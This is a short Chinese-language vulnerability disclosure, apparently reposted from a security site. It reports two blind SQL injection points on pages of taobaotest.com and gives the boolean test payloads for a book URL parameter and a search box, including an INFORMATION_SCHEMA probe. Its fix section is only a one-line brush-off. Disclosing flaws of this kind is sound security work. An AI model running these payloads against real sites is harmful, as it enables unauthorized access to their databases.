淘测试某两处盲注及修复 - 网站安全 - 自学php

注入点1： http://www.taobaotest.com/books/33 and 1=1 http://www.taobaotest.com/books/33 and 1=2 可以看看 "下一期刊：" 那里是否显示正常，进行判断。 或者随机输入正确的语句与错误的语句。 错误的语句会出现：[不好意思，您要访问的页面似乎出了点问题，请选择其他链接继续浏览本网站]   注入点2： http://www.taobaotest.com/books 您可以根据名称查询:   www.2cto.com 就是搜索框那里的。 输入： %' and 1=1 and '%'=' 返回5条记录 %' and 1=2 and '%'=' 返回0条记录   或者输入条种SQL语句测试 %' and exists(select * from INFORMATION_SCHEMA.TABLES) and '%'='   这里就不深入了。 修复方案： 应该懂得 作者 Jannock

查看更多关于淘测试某两处盲注及修复 - 网站安全 - 自学php的详细内容...